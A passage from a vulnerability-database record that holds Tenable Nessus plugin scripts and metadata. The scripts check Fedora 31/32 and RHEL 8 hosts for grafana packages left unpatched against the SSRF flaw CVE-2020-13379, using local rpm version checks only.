script_cve_id(\"CVE-2020-13379\");\n script_xref(name:\"FEDORA\", value:\"2020-a09e5be0be\");\n\n script_name(english:\"Fedora 32 : grafana (2020-a09e5be0be)\");\n script_summary(english:\"Checks rpm output for the updated package.\");\n\n script_set_attribute(\n attribute:\"synopsis\",\n value:\"The remote Fedora host is missing a security update.\"\n );\n script_set_attribute(\n attribute:\"description\",\n value:\n\"Security fix for CVE-2020-13379\n\nNote that Tenable Network Security has extracted the preceding\ndescription block directly from the Fedora update system website.\nTenable has attempted to automatically clean and format it as much as\npossible without introducing additional issues.\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://bodhi.fedoraproject.org/updates/FEDORA-2020-a09e5be0be\"\n );\n script_set_attribute(\n attribute:\"solution\",\n value:\"Update the affected grafana package.\"\n );\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:L/Au:N/C:P/I:N/A:P\");\n script_set_cvss_temporal_vector(\"CVSS2#E:POC/RL:OF/RC:C\");\n script_set_cvss3_base_vector(\"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:H\");\n script_set_cvss3_temporal_vector(\"CVSS:3.0/E:P/RL:O/RC:C\");\n script_set_attribute(attribute:\"exploitability_ease\", value:\"Exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"true\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:fedoraproject:fedora:grafana\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:fedoraproject:fedora:32\");\n\n script_set_attribute(attribute:\"vuln_publication_date\", value:\"2020/06/03\");\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2020/06/16\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2020/06/17\");\n script_set_attribute(attribute:\"generated_plugin\", value:\"current\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_copyright(english:\"This script is Copyright (C) 2020 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n script_family(english:\"Fedora Local Security Checks\");\n\n script_dependencies(\"ssh_get_info.nasl\");\n script_require_keys(\"Host/local_checks_enabled\", \"Host/RedHat/release\", \"Host/RedHat/rpm-list\");\n\n exit(0);\n}\n\n\ninclude(\"audit.inc\");\ninclude(\"global_settings.inc\");\ninclude(\"rpm.inc\");\n\n\nif (!get_kb_item(\"Host/local_checks_enabled\")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);\nrelease = get_kb_item(\"Host/RedHat/release\");\nif (isnull(release) || \"Fedora\" >!< release) audit(AUDIT_OS_NOT, \"Fedora\");\nos_ver = pregmatch(pattern: \"Fedora.*release ([0-9]+)\", string:release);\nif (isnull(os_ver)) audit(AUDIT_UNKNOWN_APP_VER, \"Fedora\");\nos_ver = os_ver[1];\nif (! preg(pattern:\"^32([^0-9]|$)\", string:os_ver)) audit(AUDIT_OS_NOT, \"Fedora 32\", \"Fedora \" + os_ver);\n\nif (!get_kb_item(\"Host/RedHat/rpm-list\")) audit(AUDIT_PACKAGE_LIST_MISSING);\n\n\ncpu = get_kb_item(\"Host/cpu\");\nif (isnull(cpu)) audit(AUDIT_UNKNOWN_ARCH);\nif (\"x86_64\" >!< cpu && cpu !~ \"^i[3-6]86$\") audit(AUDIT_LOCAL_CHECKS_NOT_IMPLEMENTED, \"Fedora\", cpu);\n\n\nflag = 0;\nif (rpm_check(release:\"FC32\", reference:\"grafana-6.7.4-1.fc32\")) flag++;\n\n\nif (flag)\n{\n security_report_v4(\n port : 0,\n severity : SECURITY_WARNING,\n extra : rpm_report_get()\n );\n exit(0);\n}\nelse\n{\n tested = pkg_tests_get();\n if (tested) audit(AUDIT_PACKAGE_NOT_AFFECTED, tested);\n else audit(AUDIT_PACKAGE_NOT_INSTALLED, \"grafana\");\n}\n", "cvss": {"score": 6.4, "vector": "AV:N/AC:L/Au:N/C:P/I:N/A:P"}}, {"lastseen": "2020-11-19T05:31:49", "description": "The remote Redhat Enterprise Linux 8 host has packages installed that are affected by a vulnerability as referenced in the RHSA-2020:2641 advisory.\n\n - grafana: SSRF incorrect access control vulnerability allows unauthenticated users to make grafana send HTTP requests to any URL (CVE-2020-13379)\n\nNote that Nessus has not tested for this issue but has instead relied only on the application's self-reported version number.", "edition": 5, "cvss3": {"score": 8.2, "vector": "AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:H"}, "published": "2020-06-22T00:00:00", "title": "RHEL 8 : grafana (RHSA-2020:2641)", "type": "nessus", "bulletinFamily": "scanner", "cvelist": ["CVE-2020-13379"], "modified": "2020-06-22T00:00:00", "cpe": ["p-cpe:/a:redhat:enterprise_linux:grafana-prometheus", "cpe:/o:redhat:rhel_tus:8.2", "cpe:/a:redhat:rhel_e4s:8.2::appstream", "p-cpe:/a:redhat:enterprise_linux:grafana-influxdb", "p-cpe:/a:redhat:enterprise_linux:grafana-loki", "p-cpe:/a:redhat:enterprise_linux:grafana-elasticsearch", "p-cpe:/a:redhat:enterprise_linux:grafana-mssql", "cpe:/o:redhat:rhel_eus:8.4", "p-cpe:/a:redhat:enterprise_linux:grafana", "cpe:/a:redhat:rhel_eus:8.4::appstream", "p-cpe:/a:redhat:enterprise_linux:grafana-opentsdb", "cpe:/o:redhat:rhel_e4s:8.2", "p-cpe:/a:redhat:enterprise_linux:grafana-cloudwatch", "p-cpe:/a:redhat:enterprise_linux:grafana-stackdriver", "cpe:/a:redhat:rhel_tus:8.2::appstream", "p-cpe:/a:redhat:enterprise_linux:grafana-azure-monitor", "cpe:/a:redhat:enterprise_linux:8::appstream", "p-cpe:/a:redhat:enterprise_linux:grafana-graphite", "cpe:/o:redhat:rhel_aus:8.2", "cpe:/a:redhat:rhel_aus:8.2::appstream", "cpe:/o:redhat:enterprise_linux:8", "cpe:/o:redhat:rhel_eus:8.2", "p-cpe:/a:redhat:enterprise_linux:grafana-postgres", "p-cpe:/a:redhat:enterprise_linux:grafana-mysql", "cpe:/a:redhat:rhel_eus:8.2::appstream"], "id": "REDHAT-RHSA-2020-2641.NASL", "href": "https://www.tenable.com/plugins/nessus/137708", "sourceData": "##\n# (C) Tenable Network Security, Inc.\n#\n# The descriptive text and package checks in this plugin were\n# extracted from Red Hat Security Advisory RHSA-2020:2641. The text\n# itself is copyright (C) Red Hat, Inc.\n##\n\ninclude('compat.inc');\n\nif (description)\n{\n script_id(137708);\n script_version(\"1.4\");\n script_set_attribute(attribute:\"plugin_modification_date\", value:\"2020/11/18\");\n\n script_cve_id(\"CVE-2020-13379\");\n script_xref(name:\"RHSA\", value:\"2020:2641\");\n\n script_name(english:\"RHEL 8 : grafana (RHSA-2020:2641)\");\n script_summary(english:\"Checks the rpm output for the updated packages\");\n\n script_set_attribute(attribute:\"synopsis\", value:\n\"The remote Red Hat host is missing a security update.\");\n script_set_attribute(attribute:\"description\", value:\n\"The remote Redhat Enterprise Linux 8 host has packages installed that are affected by a vulnerability as referenced in the RHSA-2020:2641 advisory.\n\n - grafana: SSRF incorrect access control vulnerability allows unauthenticated users to make grafana send HTTP requests to any URL (CVE-2020-13379)\n\nNote that Nessus has not tested for this issue but has instead relied only on the application's self-reported version number.\");\n script_set_attribute(attribute:\"see_also\", value:\"https://cwe.mitre.org/data/definitions/284.html\");\n script_set_attribute(attribute:\"see_also\", value:\"https://cwe.mitre.org/data/definitions/476.html\");\n script_set_attribute(attribute:\"see_also\", value:\"https://cwe.mitre.org/data/definitions/918.html\");\n script_set_attribute(attribute:\"see_also\", value:\"https://access.redhat.com/security/cve/CVE-2020-13379\");\n script_set_attribute(attribute:\"see_also\", value:\"https://access.redhat.com/errata/RHSA-2020:2641\");\n script_set_attribute(attribute:\"see_also\", value:\"https://bugzilla.redhat.com/1843640\");\n script_set_attribute(attribute:\"solution\", value:\n\"Update the affected packages.\");\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:L/Au:N/C:P/I:N/A:P\");\n script_set_cvss_temporal_vector(\"CVSS2#E:POC/RL:OF/RC:C\");\n script_set_cvss3_base_vector(\"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:H\");\n script_set_cvss3_temporal_vector(\"CVSS:3.0/E:P/RL:O/RC:C\");\n script_set_attribute(attribute:\"cvss_score_source\", value:\"CVE-2020-13379\");\n\n script_set_attribute(attribute:\"exploitability_ease\", value:\"Exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"true\");\n script_cwe_id(284, 476, 918);\n\n script_set_attribute(attribute:\"vuln_publication_date\", value:\"2020/06/03\");\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2020/06/22\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2020/06/22\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:redhat:enterprise_linux:8\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:redhat:rhel_aus:8.2\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:redhat:rhel_e4s:8.2\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:redhat:rhel_eus:8.2\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:redhat:rhel_eus:8.4\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:redhat:rhel_tus:8.2\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/a:redhat:enterprise_linux:8::appstream\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/a:redhat:rhel_aus:8.2::appstream\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/a:redhat:rhel_e4s:8.2::appstream\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/a:redhat:rhel_eus:8.2::appstream\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/a:redhat:rhel_eus:8.4::appstream\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/a:redhat:rhel_tus:8.2::appstream\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:redhat:enterprise_linux:grafana\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:redhat:enterprise_linux:grafana-azure-monitor\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:redhat:enterprise_linux:grafana-cloudwatch\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:redhat:enterprise_linux:grafana-elasticsearch\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:redhat:enterprise_linux:grafana-graphite\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:redhat:enterprise_linux:grafana-influxdb\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:redhat:enterprise_linux:grafana-loki\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:redhat:enterprise_linux:grafana-mssql\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:redhat:enterprise_linux:grafana-mysql\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:redhat:enterprise_linux:grafana-opentsdb\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:redhat:enterprise_linux:grafana-postgres\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:redhat:enterprise_linux:grafana-prometheus\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:redhat:enterprise_linux:grafana-stackdriver\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_family(english:\"Red Hat Local Security Checks\");\n\n script_copyright(english:\"This script is Copyright (C) 2020 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n\n script_dependencies(\"ssh_get_info.nasl\");\n script_require_keys(\"Host/local_checks_enabled\", \"Host/RedHat/release\", \"Host/RedHat/rpm-list\", \"Host/cpu\");\n\n exit(0);\n}\n\n\ninclude('audit.inc');\ninclude('global_settings.inc');\ninclude('misc_func.inc');\ninclude('rpm.inc');\n\nif (!get_kb_item('Host/local_checks_enabled')) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);\nrelease = get_kb_item('Host/RedHat/release');\nif (isnull(release) || 'Red Hat' >!< release) audit(AUDIT_OS_NOT, 'Red Hat');\nos_ver = pregmatch(pattern: \"Red Hat Enterprise Linux.*release ([0-9]+(\\.[0-9]+)?)\", string:release);\nif (isnull(os_ver)) audit(AUDIT_UNKNOWN_APP_VER, 'Red Hat');\nos_ver = os_ver[1];\nif (! preg(pattern:\"^8([^0-9]|$)\", string:os_ver)) audit(AUDIT_OS_NOT, 'Red Hat 8.x', 'Red Hat ' + os_ver);\n\nif (!get_kb_item('Host/RedHat/rpm-list')) audit(AUDIT_PACKAGE_LIST_MISSING);\n\ncpu = get_kb_item('Host/cpu');\nif (isnull(cpu)) audit(AUDIT_UNKNOWN_ARCH);\nif ('x86_64' >!< cpu && cpu !~ \"^i[3-6]86$\" && 's390' >!< cpu && 'aarch64' >!< cpu) audit(AUDIT_LOCAL_CHECKS_NOT_IMPLEMENTED, 'Red Hat', cpu);\n\nrepositories = {\n 'enterprise_linux_8_appstream': [\n 'rhel-8-for-aarch64-appstream-debug-rpms',\n 'rhel-8-for-aarch64-appstream-rpms',\n 'rhel-8-for-aarch64-appstream-source-rpms',\n 'rhel-8-for-s390x-appstream-debug-rpms',\n 'rhel-8-for-s390x-appstream-rpms',\n 'rhel-8-for-s390x-appstream-source-rpms',\n 'rhel-8-for-x86_64-appstream-debug-rpms',\n 'rhel-8-for-x86_64-appstream-rpms',\n 'rhel-8-for-x86_64-appstream-source-rpms'\n ],\n 'rhel_eus_8_2_appstream': [\n 'rhel-8-for-aarch64-appstream-eus-debug-rpms',\n 'rhel-8-for-aarch64-appstream-eus-rpms',\n 'rhel-8-for-aarch64-appstream-eus-source-rpms',\n 'rhel-8-for-s390x-appstream-eus-debug-rpms',\n 'rhel-8-for-s390x-appstream-eus-rpms',\n 'rhel-8-for-s390x-appstream-eus-source-rpms',\n 'rhel-8-for-x86_64-appstream-aus-debug-rpms',\n 'rhel-8-for-x86_64-appstream-aus-rpms',\n 'rhel-8-for-x86_64-appstream-aus-source-rpms',\n 'rhel-8-for-x86_64-appstream-e4s-debug-rpms',\n 'rhel-8-for-x86_64-appstream-e4s-rpms',\n 'rhel-8-for-x86_64-appstream-e4s-source-rpms',\n 'rhel-8-for-x86_64-appstream-eus-debug-rpms',\n 'rhel-8-for-x86_64-appstream-eus-rpms',\n 'rhel-8-for-x86_64-appstream-eus-source-rpms',\n 'rhel-8-for-x86_64-appstream-tus-debug-rpms',\n 'rhel-8-for-x86_64-appstream-tus-rpms',\n 'rhel-8-for-x86_64-appstream-tus-source-rpms'\n ]\n};\n\nfound_repos = NULL;\nhost_repo_list = get_kb_list('Host/RedHat/repo-list/*');\nif (!(empty_or_null(host_repo_list))) {\n found_repos = make_list();\n foreach repo_key (keys(repositories)) {\n foreach repo ( repositories[repo_key] ) {\n if (get_kb_item('Host/RedHat/repo-list/' + repo)) {\n append_element(var:found_repos, value:repo_key);\n break;\n }\n }\n }\n if(empty_or_null(found_repos)) audit(AUDIT_RHSA_NOT_AFFECTED, 'RHSA-2020:2641');\n}\n\npkgs = [\n {'reference':'grafana-6.3.6-2.el8_2', 'cpu':'aarch64', 'release':'8', 'el_string':'el8_2', 'rpm_spec_vers_cmp':TRUE, 'repo_list':['enterprise_linux_8_appstream', 'rhel_eus_8_2_appstream']},\n {'reference':'grafana-6.3.6-2.el8_2', 'cpu':'s390x', 'release':'8', 'el_string':'el8_2', 'rpm_spec_vers_cmp':TRUE, 'repo_list':['enterprise_linux_8_appstream', 'rhel_eus_8_2_appstream']},\n {'reference':'grafana-6.3.6-2.el8_2', 'cpu':'x86_64', 'release':'8', 'el_string':'el8_2', 'rpm_spec_vers_cmp':TRUE, 'repo_list':['enterprise_linux_8_appstream', 'rhel_eus_8_2_appstream']},\n {'reference':'grafana-azure-monitor-6.3.6-2.el8_2', 'cpu':'aarch64', 'release':'8', 'el_string':'el8_2', 'rpm_spec_vers_cmp':TRUE, 'repo_list':['enterprise_linux_8_appstream', 'rhel_eus_8_2_appstream']},\n {'reference':'grafana-azure-monitor-6.3.6-2.el8_2', 'cpu':'s390x', 'release':'8', 'el_string':'el8_2', 'rpm_spec_vers_cmp':TRUE, 'repo_list':['enterprise_linux_8_appstream', 'rhel_eus_8_2_appstream']},\n {'reference':'grafana-azure-monitor-6.3.6-2.el8_2', 'cpu':'x86_64', 'release':'8', 'el_string':'el8_2', 'rpm_spec_vers_cmp':TRUE, 'repo_list':['enterprise_linux_8_appstream', 'rhel_eus_8_2_appstream']},\n {'reference':'grafana-cloudwatch-6.3.6-2.el8_2', 'cpu':'aarch64', 'release':'8', 'el_string':'el8_2', 'rpm_spec_vers_cmp':TRUE, 'repo_list':['enterprise_linux_8_appstream', 'rhel_eus_8_2_appstream']},\n {'reference':'grafana-cloudwatch-6.3.6-2.el8_2', 'cpu':'s390x', 'release':'8', 'el_string':'el8_2', 'rpm_spec_vers_cmp':TRUE, 'repo_list':['enterprise_linux_8_appstream', 'rhel_eus_8_2_appstream']},\n {'reference':'grafana-cloudwatch-6.3.6-2.el8_2', 'cpu':'x86_64', 'release':'8', 'el_string':'el8_2', 'rpm_spec_vers_cmp':TRUE, 'repo_list':['enterprise_linux_8_appstream', 'rhel_eus_8_2_appstream']},\n {'reference':'grafana-elasticsearch-6.3.6-2.el8_2', 'cpu':'aarch64', 'release':'8', 'el_string':'el8_2', 'rpm_spec_vers_cmp':TRUE, 'repo_list':['enterprise_linux_8_appstream', 'rhel_eus_8_2_appstream']},\n {'reference':'grafana-elasticsearch-6.3.6-2.el8_2', 'cpu':'s390x', 'release':'8', 'el_string':'el8_2', 'rpm_spec_vers_cmp':TRUE, 'repo_list':['enterprise_linux_8_appstream', 'rhel_eus_8_2_appstream']},\n {'reference':'grafana-elasticsearch-6.3.6-2.el8_2', 'cpu':'x86_64', 'release':'8', 'el_string':'el8_2', 'rpm_spec_vers_cmp':TRUE, 'repo_list':['enterprise_linux_8_appstream', 'rhel_eus_8_2_appstream']},\n {'reference':'grafana-graphite-6.3.6-2.el8_2', 'cpu':'aarch64', 'release':'8', 'el_string':'el8_2', 'rpm_spec_vers_cmp':TRUE, 'repo_list':['enterprise_linux_8_appstream', 'rhel_eus_8_2_appstream']},\n {'reference':'grafana-graphite-6.3.6-2.el8_2', 'cpu':'s390x', 'release':'8', 'el_string':'el8_2', 'rpm_spec_vers_cmp':TRUE, 'repo_list':['enterprise_linux_8_appstream', 'rhel_eus_8_2_appstream']},\n {'reference':'grafana-graphite-6.3.6-2.el8_2', 'cpu':'x86_64', 'release':'8', 'el_string':'el8_2', 'rpm_spec_vers_cmp':TRUE, 'repo_list':['enterprise_linux_8_appstream', 'rhel_eus_8_2_appstream']},\n {'reference':'grafana-influxdb-6.3.6-2.el8_2', 'cpu':'aarch64', 'release':'8', 'el_string':'el8_2', 'rpm_spec_vers_cmp':TRUE, 'repo_list':['enterprise_linux_8_appstream', 'rhel_eus_8_2_appstream']},\n {'reference':'grafana-influxdb-6.3.6-2.el8_2', 'cpu':'s390x', 'release':'8', 'el_string':'el8_2', 'rpm_spec_vers_cmp':TRUE, 'repo_list':['enterprise_linux_8_appstream', 'rhel_eus_8_2_appstream']},\n {'reference':'grafana-influxdb-6.3.6-2.el8_2', 'cpu':'x86_64', 'release':'8', 'el_string':'el8_2', 'rpm_spec_vers_cmp':TRUE, 'repo_list':['enterprise_linux_8_appstream', 'rhel_eus_8_2_appstream']},\n {'reference':'grafana-loki-6.3.6-2.el8_2', 'cpu':'aarch64', 'release':'8', 'el_string':'el8_2', 'rpm_spec_vers_cmp':TRUE, 'repo_list':['enterprise_linux_8_appstream', 'rhel_eus_8_2_appstream']},\n {'reference':'grafana-loki-6.3.6-2.el8_2', 'cpu':'s390x', 'release':'8', 'el_string':'el8_2', 'rpm_spec_vers_cmp':TRUE, 'repo_list':['enterprise_linux_8_appstream', 'rhel_eus_8_2_appstream']},\n {'reference':'grafana-loki-6.3.6-2.el8_2', 'cpu':'x86_64', 'release':'8', 'el_string':'el8_2', 'rpm_spec_vers_cmp':TRUE, 'repo_list':['enterprise_linux_8_appstream', 'rhel_eus_8_2_appstream']},\n {'reference':'grafana-mssql-6.3.6-2.el8_2', 'cpu':'aarch64', 'release':'8', 'el_string':'el8_2', 'rpm_spec_vers_cmp':TRUE, 'repo_list':['enterprise_linux_8_appstream', 'rhel_eus_8_2_appstream']},\n {'reference':'grafana-mssql-6.3.6-2.el8_2', 'cpu':'s390x', 'release':'8', 'el_string':'el8_2', 'rpm_spec_vers_cmp':TRUE, 'repo_list':['enterprise_linux_8_appstream', 'rhel_eus_8_2_appstream']},\n {'reference':'grafana-mssql-6.3.6-2.el8_2', 'cpu':'x86_64', 'release':'8', 'el_string':'el8_2', 'rpm_spec_vers_cmp':TRUE, 'repo_list':['enterprise_linux_8_appstream', 'rhel_eus_8_2_appstream']},\n {'reference':'grafana-mysql-6.3.6-2.el8_2', 'cpu':'aarch64', 'release':'8', 'el_string':'el8_2', 'rpm_spec_vers_cmp':TRUE, 'repo_list':['enterprise_linux_8_appstream', 'rhel_eus_8_2_appstream']},\n {'reference':'grafana-mysql-6.3.6-2.el8_2', 'cpu':'s390x', 'release':'8', 'el_string':'el8_2', 'rpm_spec_vers_cmp':TRUE, 'repo_list':['enterprise_linux_8_appstream', 'rhel_eus_8_2_appstream']},\n {'reference':'grafana-mysql-6.3.6-2.el8_2', 'cpu':'x86_64', 'release':'8', 'el_string':'el8_2', 'rpm_spec_vers_cmp':TRUE, 'repo_list':['enterprise_linux_8_appstream', 'rhel_eus_8_2_appstream']},\n {'reference':'grafana-opentsdb-6.3.6-2.el8_2', 'cpu':'aarch64', 'release':'8', 'el_string':'el8_2', 'rpm_spec_vers_cmp':TRUE, 'repo_list':['enterprise_linux_8_appstream', 'rhel_eus_8_2_appstream']},\n {'reference':'grafana-opentsdb-6.3.6-2.el8_2', 'cpu':'s390x', 'release':'8', 'el_string':'el8_2', 'rpm_spec_vers_cmp':TRUE, 'repo_list':['enterprise_linux_8_appstream', 'rhel_eus_8_2_appstream']},\n {'reference':'grafana-opentsdb-6.3.6-2.el8_2', 'cpu':'x86_64', 'release':'8', 'el_string':'el8_2', 'rpm_spec_vers_cmp':TRUE, 'repo_list':['enterprise_linux_8_appstream', 'rhel_eus_8_2_appstream']},\n {'reference':'grafana-postgres-6.3.6-2.el8_2', 'cpu':'aarch64', 'release':'8', 'el_string':'el8_2', 'rpm_spec_vers_cmp':TRUE, 'repo_list':['enterprise_linux_8_appstream', 'rhel_eus_8_2_appstream']},\n {'reference':'grafana-postgres-6.3.6-2.el8_2', 'cpu':'s390x', 'release':'8', 'el_string':'el8_2', 'rpm_spec_vers_cmp':TRUE, 'repo_list':['enterprise_linux_8_appstream', 'rhel_eus_8_2_appstream']},\n {'reference':'grafana-postgres-6.3.6-2.el8_2', 'cpu':'x86_64', 'release':'8', 'el_string':'el8_2', 'rpm_spec_vers_cmp':TRUE, 'repo_list':['enterprise_linux_8_appstream', 'rhel_eus_8_2_appstream']},\n {'reference':'grafana-prometheus-6.3.6-2.el8_2', 'cpu':'aarch64', 'release':'8', 'el_string':'el8_2', 'rpm_spec_vers_cmp':TRUE, 'repo_list':['enterprise_linux_8_appstream', 'rhel_eus_8_2_appstream']},\n {'reference':'grafana-prometheus-6.3.6-2.el8_2', 'cpu':'s390x', 'release':'8', 'el_string':'el8_2', 'rpm_spec_vers_cmp':TRUE, 'repo_list':['enterprise_linux_8_appstream', 'rhel_eus_8_2_appstream']},\n {'reference':'grafana-prometheus-6.3.6-2.el8_2', 'cpu':'x86_64', 'release':'8', 'el_string':'el8_2', 'rpm_spec_vers_cmp':TRUE, 'repo_list':['enterprise_linux_8_appstream', 'rhel_eus_8_2_appstream']},\n {'reference':'grafana-stackdriver-6.3.6-2.el8_2', 'cpu':'aarch64', 'release':'8', 'el_string':'el8_2', 'rpm_spec_vers_cmp':TRUE, 'repo_list':['enterprise_linux_8_appstream', 'rhel_eus_8_2_appstream']},\n {'reference':'grafana-stackdriver-6.3.6-2.el8_2', 'cpu':'s390x', 'release':'8', 'el_string':'el8_2', 'rpm_spec_vers_cmp':TRUE, 'repo_list':['enterprise_linux_8_appstream', 'rhel_eus_8_2_appstream']},\n {'reference':'grafana-stackdriver-6.3.6-2.el8_2', 'cpu':'x86_64', 'release':'8', 'el_string':'el8_2', 'rpm_spec_vers_cmp':TRUE, 'repo_list':['enterprise_linux_8_appstream', 'rhel_eus_8_2_appstream']}\n];\n\nflag = 0;\nforeach package_array ( pkgs ) {\n reference = NULL;\n release = NULL;\n sp = NULL;\n cpu = NULL;\n el_string = NULL;\n rpm_spec_vers_cmp = NULL;\n epoch = NULL;\n allowmaj = NULL;\n repo_list = NULL;\n if (!empty_or_null(package_array['repo_list'])) repo_list = package_array['repo_list'];\n if (!empty_or_null(package_array['reference'])) reference = package_array['reference'];\n if (!empty_or_null(package_array['release'])) release = 'RHEL' + package_array['release'];\n if (!empty_or_null(package_array['sp'])) sp = package_array['sp'];\n if (!empty_or_null(package_array['cpu'])) cpu = package_array['cpu'];\n if (!empty_or_null(package_array['el_string'])) el_string = package_array['el_string'];\n if (!empty_or_null(package_array['rpm_spec_vers_cmp'])) rpm_spec_vers_cmp = package_array['rpm_spec_vers_cmp'];\n if (!empty_or_null(package_array['epoch'])) epoch = package_array['epoch'];\n if (!empty_or_null(package_array['allowmaj'])) allowmaj = package_array['allowmaj'];\n if (reference && release) {\n repocheck = FALSE;\n if (empty_or_null(found_repos))\n {\n repocheck = TRUE;\n }\n else\n {\n foreach repo (repo_list) {\n if (contains_element(var:found_repos, value:repo))\n {\n repocheck = TRUE;\n break;\n }\n }\n }\n if (repocheck && rpm_check(release:release, sp:sp, cpu:cpu, reference:reference, epoch:epoch, el_string:el_string, rpm_spec_vers_cmp:rpm_spec_vers_cmp, allowmaj:allowmaj)) flag++;\n }\n}\n\nif (flag)\n{\n if (empty_or_null(host_repo_list)) extra = rpm_report_get() + redhat_report_repo_caveat();\n else extra = rpm_report_get() + redhat_report_package_caveat();\n security_report_v4(\n port : 0,\n severity : SECURITY_WARNING,\n extra : extra\n );\n exit(0);\n}\nelse\n{\n tested = pkg_tests_get();\n if (tested) audit(AUDIT_PACKAGE_NOT_AFFECTED, tested);\n else audit(AUDIT_PACKAGE_NOT_INSTALLED, 'grafana / grafana-azure-monitor / grafana-cloudwatch / etc');\n}\n", "cvss": {"score": 6.4, "vector": "AV:N/AC:L/Au:N/C:P/I:N/A:P"}}, {"lastseen": "2020-08-14T10:05:15", "description": "Security fix for CVE-2020-13379\n\nNote that Tenable Network Security has extracted the preceding\ndescription block directly from the Fedora update system website.\nTenable has attempted to automatically clean and format it as much as\npossible without introducing additional issues.", "edition": 3, "cvss3": {"score": 8.2, "vector": "AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:H"}, "published": "2020-06-17T00:00:00", "title": "Fedora 31 : grafana (2020-e6e81a03d6)", "type": "nessus", "bulletinFamily": "scanner", "cvelist": ["CVE-2020-13379"], "modified": "2020-06-17T00:00:00", "cpe": ["p-cpe:/a:fedoraproject:fedora:grafana", "cpe:/o:fedoraproject:fedora:31"], "id": "FEDORA_2020-E6E81A03D6.NASL", "href": "https://www.tenable.com/plugins/nessus/137433", "sourceData": "#\n# (C) Tenable Network Security, Inc.\n#\n# The descriptive text and package checks in this plugin were \n# extracted from Fedora Security Advisory FEDORA-2020-e6e81a03d6.\n#\n\ninclude(\"compat.inc\");\n\nif (description)\n{\n script_id(137433);\n script_version(\"1.3\");\n script_set_attribute(attribute:\"plugin_modification_date\", value:\"2020/08/13\");\n\n script_cve_id(\"CVE-2020-13379\");\n script_xref(name:\"FEDORA\", value:\"2020-e6e81a03d6\");\n\n script_name(english:\"Fedora 31 : grafana (2020-e6e81a03d6)\");\n script_summary(english:\"Checks rpm output for the updated package.\");\n\n script_set_attribute(\n attribute:\"synopsis\",\n value:\"The remote Fedora host is missing a security update.\"\n );\n script_set_attribute(\n attribute:\"description\",\n value:\n\"Security fix for CVE-2020-13379\n\nNote that Tenable Network Security has extracted the preceding\ndescription block directly from the Fedora update system website.\nTenable has attempted to automatically clean and format it as much as\npossible without introducing additional issues.\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://bodhi.fedoraproject.org/updates/FEDORA-2020-e6e81a03d6\"\n );\n script_set_attribute(\n attribute:\"solution\",\n value:\"Update the affected grafana package.\"\n );\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:L/Au:N/C:P/I:N/A:P\");\n script_set_cvss_temporal_vector(\"CVSS2#E:POC/RL:OF/RC:C\");\n script_set_cvss3_base_vector(\"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:H\");\n script_set_cvss3_temporal_vector(\"CVSS:3.0/E:P/RL:O/RC:C\");\n script_set_attribute(attribute:\"exploitability_ease\", value:\"Exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"true\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:fedoraproject:fedora:grafana\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:fedoraproject:fedora:31\");\n\n script_set_attribute(attribute:\"vuln_publication_date\", value:\"2020/06/03\");\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2020/06/15\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2020/06/17\");\n script_set_attribute(attribute:\"generated_plugin\", value:\"current\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_copyright(english:\"This script is Copyright (C) 2020 and is owned by Tenable, Inc. or an 